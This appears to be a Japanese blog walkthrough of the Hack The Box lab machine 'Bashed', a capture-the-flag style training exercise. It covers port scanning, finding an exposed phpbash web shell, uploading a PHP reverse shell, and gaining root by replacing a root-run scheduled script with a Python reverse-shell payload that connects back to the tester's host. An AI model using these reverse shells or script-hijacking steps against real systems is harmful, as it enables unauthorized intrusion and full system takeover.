Bashed 日本語でウォークスルー Hack The Box Machine:
Hack The BoxのBashedのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はeasyとなっています。
※本記事はサイバー犯罪を助長するものではありません。悪用は厳禁です。
目次
HTB Bashed ウォークスルー・ライトアップ
サマリー
local shell取得まで
ターゲットポート:TCP 80 (http)
脆弱性:ターゲットのhttpでは「phpbash」というツールが存在した。phpbashを利用し、local-shellを取得した。
local権限を取得したユーザ:www-data
privilege Escalation取得まで
脆弱性:「www-data」ユーザはパスワード無しで「scriptmanager」ユーザに移動できるようになっていた。
「scriptmanager」ユーザ経由でroot権限を取得した。
root権限を取得したユーザ:scriptmanager,root
Information Gathering
ポートスキャン
それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。
nmapの結果、上画像の通り、TCPポート番号80(http)が開いていることが分かりました。また、「Apache/2.4.18」という文言から、ターゲットではLinuxが動作しているのではと推測できます。
最初のnmapの結果では、TCPポート番号80(http)以外に空いているポートは見当たりませんでした。
そのため、まずはターゲットのhttpサービスについて、深く調査していくことにしました。
ターゲットのhttpサービス調査
まず、firefoxを使用し、httpアクセスしました。その結果、以下サイトが表示されました。
サイト上では、「phpbash」というものが紹介されていました。
さらに以下のように紹介されています。
(日本語訳:「phpbash」はペネトレーションテストで大変役立ちます。私はたくさんの異なるサーバーで、「phpbash」を試しました。その中で、このツールはとても便利でした。私はこのサーバー内で、このツールを開発したんです。)
一部意訳が入っていますが、こんな感じです。
気になったのは、「phpbash」というツールがターゲットサーバ内に残っている可能性があることでした。
(「このサーバー内で開発した」→「開発したツールがまだサーバーに残っている」という仮説を立てました。)
また、「phpbash」について調査を続けていきました。どうやらこのツールは、web上でサーバーのshellが使えるようになるツールのようです。
この段階で、local-shellを取得する方針として、「①ターゲット内の「phpbash」を探す」、「②「phpbash」を使ってlocal-shellを取得する」ことにしました。
Local shellの取得
「①ターゲット内の「phpbash」を探す」
gobusterを使ってターゲット内のhttpサービスのディレクトリを調査しました。
その中で、「dev(おそらくdevelopmentの略?)」というディレクトリがありました。「phpbash」がこのターゲット内で開発(develop)されたことから、
このディレクトリをもう少し深堀することにしました。
「dev」ディレクトリにアクセスした所、以下の通り、「phpbash」を見つけました。
実際に「phpbash」にアクセスした結果が以下となります。「www-data」のshellが利用できるようでした。
②「phpbash」を使ってlocal-shellを取得する
まずは、「reverse-shell」用のスクリプトを以下の通り用意しました。
(「phpbash」のため、「php」で用意しました。また、スクリプト内の「IPアドレス」と「ポート番号」を自分のものに変更しました。また、「php1.php」というファイル名にリネームしました。)
次に、ターゲットに「reverse-shell」用のスクリプトを転送しました。
(以下の通り、自分のマシンで「SimpleHTTPServer」を起動し、ターゲットからwgetでファイルを受け取っています。)

自分のマシンで「netcat」を仕掛けて、ターゲットで「php1.php」を実行しました。その結果、以下の通り、「www-data」のlocal-shellを取得できました。
Privilege Escalation
sudo権限の調査
取得した「www-data」のshellが持つsudo権限を調べました。その結果、「(scriptmanager : scriptmanager) NOPASSWD: ALL」という文言から、
「scriptmanager」ユーザに移動できそうだと分かりました。
このままだとカレントユーザが分かりにくいので、「python -c ‘import pty; pty.spawn(“/bin/bash”);’」コマンドで、以下の通り、プロンプトを分かりやすくしました。その後、「scriptmanager」ユーザに移動しました。

「scriptmanager」ユーザで実行できること
続いて「scriptmanager」ユーザでできることを調査しました。その結果、以下の通り、「scriptmanager」ユーザが所有権を持つ「scripts」というフォルダを見つけました。
「scripts」フォルダの中には以下が格納されていました。「ls -la」コマンドで確認した所、txtファイルはrootが所有者で、pythonファイルはscriptmanagerが所有者でした。pythonスクリプトはtxtファイルを作成する簡単なものでした。しかし、txtファイルの所有者がrootになっていること、txtファイルを削除してもまた新たなtxtファイルが数分間隔で作成されることから、どうやら定期的にrootユーザがtest.pyを実行しているという仮説を立てました。
以下の通り、test.pyのスクリプトを置き換えました。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.10.xx.xx”,7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
netcatを仕掛けて、しばらく待ったところ、root権限を取得できました。
flagを探す
user.txtは「/home/arrexel」の直下にありました。root.txtは「/root」の直下にありました。
以上で、Bashedのウォークスルーが完了です。